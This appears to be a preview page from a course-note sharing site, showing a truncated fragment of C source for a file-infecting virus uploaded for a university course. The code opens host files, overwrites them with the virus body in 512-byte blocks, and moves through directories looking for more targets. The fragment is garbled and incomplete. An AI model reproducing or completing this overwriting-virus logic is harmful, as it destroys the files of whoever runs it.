This preview shows page 1. Sign up to view the full content.
Unformatted text preview: host=fopen(f->ff_name,"rb+") //open the host file in r/w mode for( fread(buffer,512,1,virus)==1 ) fwrite(buffer,512,1,host) fclose(host) fseek(virus,0,0) //points to begining of virus printf("infecting %s Tapan Kumar Mishra,id:[email protected]") ,f->ff_name); done=findnext(f); } } while(!chdir(. .")) printf("For any querry contact...
View Full Document
This note was uploaded on 11/06/2010 for the course UBIT 411 taught by Professor Saleemelahi during the Spring '10 term at University of Karachi.
- Spring '10